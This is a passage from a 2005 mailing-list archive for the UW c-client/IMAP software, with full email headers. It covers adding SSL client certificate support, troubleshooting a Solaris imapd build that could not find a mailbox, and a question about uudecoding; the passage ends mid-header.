[140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1OFI7a4070828 for ; Thu, 24 Feb 2005 07:18:07 -0800 Received: from smtpout02-04.prod.mesa1.secureserver.net (smtpout02-04.prod.mesa1.secureserver.net [64.202.165.194]) by mxe7.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1OFI78p007172 for ; Thu, 24 Feb 2005 07:18:07 -0800 Received: (qmail 21997 invoked from network); 24 Feb 2005 15:16:15 -0000 Received: from unknown (68.3.230.141) by smtpout02-04.prod.mesa1.secureserver.net (64.202.165.194) with ESMTP; 24 Feb 2005 15:16:15 -0000 Message-Id: <421DF034.8040407@starnetworks.us> Date: Thu, 24 Feb 2005 08:18:12 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin P. Fleming" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: c-client support for client certificates? In-Reply-To: References: <421D7B70.6050403@starnetworks.us> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > No, c-client does not have any support for SSL client certificates. OK, doesn't seem like it will be too difficult to add, so I'll hack on it. Thanks. > The [GS]ET_SSLCERTIFICATEQUERY mail_parameter() callback routine is used > to allow the application a chance to decide whether to proceed or abort > if the *server* certificate fails validation. Ahh, that explains why it just returns an int result, then. If I implement this, would it be more consistent to make it a callback route that returns a pointer to an allocated chunk of memory (with the caller responsible for freeing), or a parameter where I actually pass in the PEM-encoded string and c-client duplicates it into its own memory? c-client will only need the certificate for a very short time (to make two calls into the SSL library during the context setup), so I don't think it makes sense to keep a copy of it in c-client's memory space... From pinedev@shivax2.cac.washington.edu Thu Feb 24 18:32:47 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Feb 2005 18:32:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1P2WkWn009650 for ; Thu, 24 Feb 2005 18:32:46 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1P2WjaH001661 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Feb 2005 18:32:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1P2WcFk016172; Thu, 24 Feb 2005 18:32:38 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1P2TxeS070784 for ; Thu, 24 Feb 2005 18:29:59 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1P2Tv9T003702 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 24 Feb 2005 18:29:59 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1P2Tvit002380; Thu, 24 Feb 2005 18:29:57 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1P2TvEB028897 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 24 Feb 2005 18:29:57 -0800 Message-Id: Date: Thu, 24 Feb 2005 18:27:54 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Kevin P. Fleming" Cc: c-client@u.washington.edu Subject: Re: c-client support for client certificates? In-Reply-To: <421DF034.8040407@starnetworks.us> References: <421D7B70.6050403@starnetworks.us> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Feb 2005, Kevin P. Fleming wrote: > If I implement this, would it be more consistent to make it a callback route > that returns a pointer to an allocated chunk of memory (with the caller > responsible for freeing), or a parameter where I actually pass in the > PEM-encoded string and c-client duplicates it into its own memory? c-client > will only need the certificate for a very short time (to make two calls into > the SSL library during the context setup), so I don't think it makes sense to > keep a copy of it in c-client's memory space... Probably a callback set via mail_parameters() makes more sense for the reasons you state. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Mar 7 10:58:09 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Mar 2005 10:58:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27Iw8cb020717 for ; Mon, 7 Mar 2005 10:58:08 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27Iw7sj026835 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Mar 2005 10:58:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j27IvvhY013274; Mon, 7 Mar 2005 10:57:57 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27IuSZM071014 for ; Mon, 7 Mar 2005 10:56:28 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27IuRjf025332 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 7 Mar 2005 10:56:27 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27IuQac026248 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 7 Mar 2005 10:56:27 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27IuQ85017893; Mon, 7 Mar 2005 10:56:26 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27IuPcI003627 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 7 Mar 2005 10:56:26 -0800 Message-Id: Date: Mon, 7 Mar 2005 10:58:30 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bruce Shaw Cc: c-client Interest List Subject: Re: Solaris imap-2004c1 can't find mailbox In-Reply-To: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C721@excedm2gwba.env.gov.ab.ca> References: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C721@excedm2gwba.env.gov.ab.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Just as a friendly reminder, the imap@u.washington.edu mailing list is for discussions of the IMAP protocol. Software questions about UW imapd should go to c-client@u.washington.edu. We're going to do something about these mailing list names. Even though the actual software is called c-client, most people don't remember that name... You don't need to build with SSLTYPE=none if you want to allow your Java client to connect with plaintext passwords. SSLTYPE=unix will also work, that is: make gso SSLTYPE=unix This will build with SSL but without disabling plaintext passwords. It should work given what you've described. What, exactly, happens "when it tries to find the mailbox it can't"? Do you get an error message? If so, what is the message? Do you get a seemingly empty INBOX? What are the *exact* contents of the first line of a /var/mail/username file that exhibits this problem? On Mon, 7 Mar 2005, Bruce Shaw wrote: > Solaris 2.8. Mailer is sendmail. Mail shows up in /var/mail/username > > > I'm compiling using gcc. > > make gso SSLTYPE=none > > because I need a java client to be able to connect with plaintext passwords. > Yes I know it's bad. We'll fix the app later. > > When I use mtest everything works fine. I get prompted for a password but > when it tries to find the mailbox it can't. I've tried it with and without > mbox, with and without a dummy first record (copied from another system). > Another time I did this, pine helped me create the mailbox but this time it > appears to have made matters worse. I've tried hardcoding the mail > directory. > > Anybody got this working under Solaris 8? > > -- > > > This communication is intended for the use of the recipient to which it is > addressed, and may contain confidential, personal and or privileged > information. Please contact us immediately if you are not the intended > recipient of this communication, and do not copy, distribute, or take action > relying on it. Any communication received in error, or subsequent reply, > should be deleted or destroyed. > > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/imap-list.html > ----------------------------------------------------------------- > > -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Mar 7 13:26:23 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Mar 2005 13:26:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LQNeA027329 for ; Mon, 7 Mar 2005 13:26:23 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LQMFM001123 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Mar 2005 13:26:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j27LPweE016114; Mon, 7 Mar 2005 13:25:58 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LOWEK070960 for ; Mon, 7 Mar 2005 13:24:32 -0800 Received: from burp.xpasystems.com ([206.55.124.16]) by mxe7.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LOVSA026579 for ; Mon, 7 Mar 2005 13:24:32 -0800 Received: by burp.xpasystems.com (Postfix, from userid 403) id 24EE3148063; Mon, 7 Mar 2005 15:24:28 -0600 (CST) Received: from [127.0.0.1] (unknown [69.10.211.217]) by burp.xpasystems.com (Postfix) with ESMTP id CBC49148060 for ; Mon, 7 Mar 2005 15:24:27 -0600 (CST) Message-Id: <422CC689.2020104@bynari.net> Date: Mon, 07 Mar 2005 13:24:25 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Charles Dorner To: c-client@u.washington.edu Subject: c-client built in uudecoding? MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, After a cursory examination, I didn't see a uudecoding function anywhere in c-client; a co-worker swears there is one. Does c-client have uudecoding built in someplace? Charles -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 7 13:31:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Mar 2005 13:31:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LVrMo027531 for ; Mon, 7 Mar 2005 13:31:53 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LVqR7001346 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Mar 2005 13:31:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j27LVjV6018484; Mon, 7 Mar 2005 13:31:45 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LV57D070686 for ; Mon, 7 Mar 2005 13:31:06 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LV5eX012119 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 7 Mar 2005 13:31:05 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LV41K009768; Mon, 7 Mar 2005 13:31:04 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j27LV4VR004881 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 7 Mar 2005 13:31:04 -0800 Message-Id: Date: Mon, 7 Mar 2005 13:33:08 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Charles Dorner Cc: c-client@u.washington.edu Subject: Re: c-client built in uudecoding? In-Reply-To: <422CC689.2020104@bynari.net> References: <422CC689.2020104@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 Mar 2005, Charles Dorner wrote: > After a cursory examination, I didn't see a uudecoding function anywhere > in c-client; a co-worker swears there is one. Does c-client have uudecoding > built in someplace? No, there is not. This is BASE64 and QUOTED-PRINTABLE encoding/decoding though. I'm surprised that anyone still wants uuencode. There are known problems with uuencode; that's why MIME defined a separate BASE64 which has the advantages of uuencode but not the disadvantages. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Mar 8 19:11:57 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Mar 2005 19:11:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j293BumI027522 for ; Tue, 8 Mar 2005 19:11:56 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j293Bthw001930 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Mar 2005 19:11:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j293BkXw013452; Tue, 8 Mar 2005 19:11:46 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j293AEo7074568 for ; Tue, 8 Mar 2005 19:10:14 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j293ADHg015687 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 8 Mar 2005 19:10:13 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j293AD1R001868 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 8 Mar 2005 19:10:13 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j293ACog013522; Tue, 8 Mar 2005 19:10:12 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j293ACWq022716 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 8 Mar 2005 19:10:12 -0800 Message-Id: Date: Tue, 8 Mar 2005 19:12:17 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bruce Shaw Cc: c-client Interest List Subject: RE: Solaris imap-2004c1 can't find mailbox In-Reply-To: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C729@excedm2gwba.env.gov.ab.ca> References: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C729@excedm2gwba.env.gov.ab.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 8 Mar 2005, Bruce Shaw wrote: > I reinstalled everything the way I figured it should be set up and left it > overnight intending to fight with it in the morning. During the night a > message came in and was successfully processed. /var/mail/username now > appears to contain a valid "DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL > DATA" record. I guess IMAP just needed an incoming email message. This is strange. The software is supposed to work even if the mailbox is empty or doesn't exist. What was the problem that you were experiencing? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Mar 9 17:40:56 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Mar 2005 17:40:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2A1etBC014323 for ; Wed, 9 Mar 2005 17:40:55 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2A1esO7019956 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Mar 2005 17:40:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2A1ej4v014002; Wed, 9 Mar 2005 17:40:46 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2A1c9AB046630 for ; Wed, 9 Mar 2005 17:38:09 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2A1c91n032543 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 9 Mar 2005 17:38:09 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2A1c8FM025064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 9 Mar 2005 17:38:08 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2A1c8tW031838; Wed, 9 Mar 2005 17:38:08 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2A1c77U005873 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 9 Mar 2005 17:38:07 -0800 Message-Id: Date: Wed, 9 Mar 2005 17:38:07 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bruce Shaw Cc: c-client Interest List Subject: RE: Solaris imap-2004c1 can't find mailbox In-Reply-To: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C72D@excedm2gwba.env.gov.ab.ca> References: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C72D@excedm2gwba.env.gov.ab.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Mar 2005, Bruce Shaw wrote: > Using mtest or pine (configured for IMAP). It would say "mailbox does not > exist". There's no such message in c-client. If the message was "no such mailbox", that message should never occur with INBOX, even if an underlying file does not exist. Did you modify the software, or obtain the software from a third-party that modified it? In particular, did you remove the dummy driver? [Some sorcerer's apprentices claim that the dummy driver should be removed. They are wrong.] -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Mar 10 08:25:09 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Mar 2005 08:25:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AGP8Sn010404 for ; Thu, 10 Mar 2005 08:25:08 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AGP7pW015841 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 10 Mar 2005 08:25:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2AGOxuZ014460; Thu, 10 Mar 2005 08:24:59 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AGNXkB028138 for ; Thu, 10 Mar 2005 08:23:33 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AGNXVg031995 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 10 Mar 2005 08:23:33 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AGNXdT015773 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 10 Mar 2005 08:23:33 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout7.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AGNW8Q019428; Thu, 10 Mar 2005 08:23:32 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AGNWfX024542; Thu, 10 Mar 2005 08:23:32 -0800 Message-Id: Date: Thu, 10 Mar 2005 08:23:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bruce Shaw Cc: c-client Interest List Subject: RE: Solaris imap-2004c1 can't find mailbox In-Reply-To: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C73D@excedm2gwba.env.gov.ab.ca> References: <942CA19082ED6F46AE1CD8C4A0A9A66DA2C73D@excedm2gwba.env.gov.ab.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Mar 2005, Bruce Shaw wrote: > I'm not using INBOX. I'm using /var/mail/whatever-the-user-name-is. Ah. I understand now. When you give a specific filename, then a file by that name must exist. However, there is no reason why you should need to do this; to refererence your own mailbox, you should always use the name INBOX. Use of the name INBOX prevents this problem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Mar 10 11:55:10 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Mar 2005 11:55:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AJt94Q019597 for ; Thu, 10 Mar 2005 11:55:09 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AJt80t031993 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 10 Mar 2005 11:55:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j2AJsxNQ012188; Thu, 10 Mar 2005 11:54:59 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AJrbKo046788 for ; Thu, 10 Mar 2005 11:53:37 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j2AJraPu001663 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 10 Mar 2005 11:53:37 -0800 Received: from 